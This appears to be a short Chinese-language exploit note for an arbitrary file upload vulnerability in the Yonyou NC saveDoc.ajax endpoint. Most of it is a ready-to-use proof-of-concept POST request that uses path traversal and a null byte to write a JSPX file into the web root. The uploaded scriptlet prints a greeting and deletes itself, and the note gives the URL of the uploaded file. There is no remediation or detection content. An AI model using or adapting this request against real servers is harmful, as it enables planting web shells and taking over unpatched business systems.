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用友NC-saveDoc.ajax存在任意文件上传漏洞

用友NC-saveDoc.ajax存在任意文件上传漏洞​

poc​

POST /uapws/saveDoc.ajax?ws=/../../test2.jspx%00 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Content-Type: application/x-www-form-urlencoded

content=<hi xmlns:hi="http://java.sun.com/JSP/Page">
      <hi:directive.page import="java.util.*,java.io.*,java.net.*"/>
   <hi:scriptlet>
            out.println("Hello World!");new java.io.File(application.getRealPath(request.getServletPath())).delete(); 
   </hi:scriptlet>
</hi>

文件路径

http://ip/uapws/test2.jspx